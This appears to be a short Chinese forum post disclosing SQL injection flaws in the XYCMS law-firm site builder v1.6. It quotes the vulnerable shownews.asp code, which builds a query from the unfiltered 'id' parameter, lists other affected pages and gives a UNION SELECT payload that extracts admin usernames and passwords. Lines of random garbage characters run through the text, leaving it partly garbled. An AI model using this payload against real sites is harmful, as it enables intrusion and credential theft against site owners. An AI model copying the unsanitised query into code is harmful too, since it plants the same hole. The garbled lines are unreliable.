XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

9 O  q8 ?! V: W4 @, }7 ?淫荡分割线
--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
: b  l8 ^2 x2 x) B2 u源码地址:http://down.chinaz.com/soft/29233.htm

0 B9 e/ v; P0 D( l3 `, F漏洞文件:shownews.asp
漏洞代码：7-13行
  I' l* ~0 I% z: \$ _& N9 H- P
* P- _$ {0 E- D0 j. @) r; [
<%
id=request.QueryString("id")
   
! V3 W& c% w& w4 A2 N4 {+ q4 u5 ^set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
4 `4 d. {6 s" k+ H% G7 Qsnews.open exec,conn,1,1
%>
1 |# s6 F. v! e1 q8 K% U1 f

6 }+ o* S+ Z4 `5 e; B+ _什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx

2 B$ G: Y  w* F( Z2 A1 h其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
4 b5 s9 l9 ^- h# D$ s6 p" w# b1 @
+ @4 Y* _  o* }( Z- k* D* h
exp: union select 1,admin,password,4,5,7 from admin_user
0 U# u" S" e2 c, j0 b5 e1 c​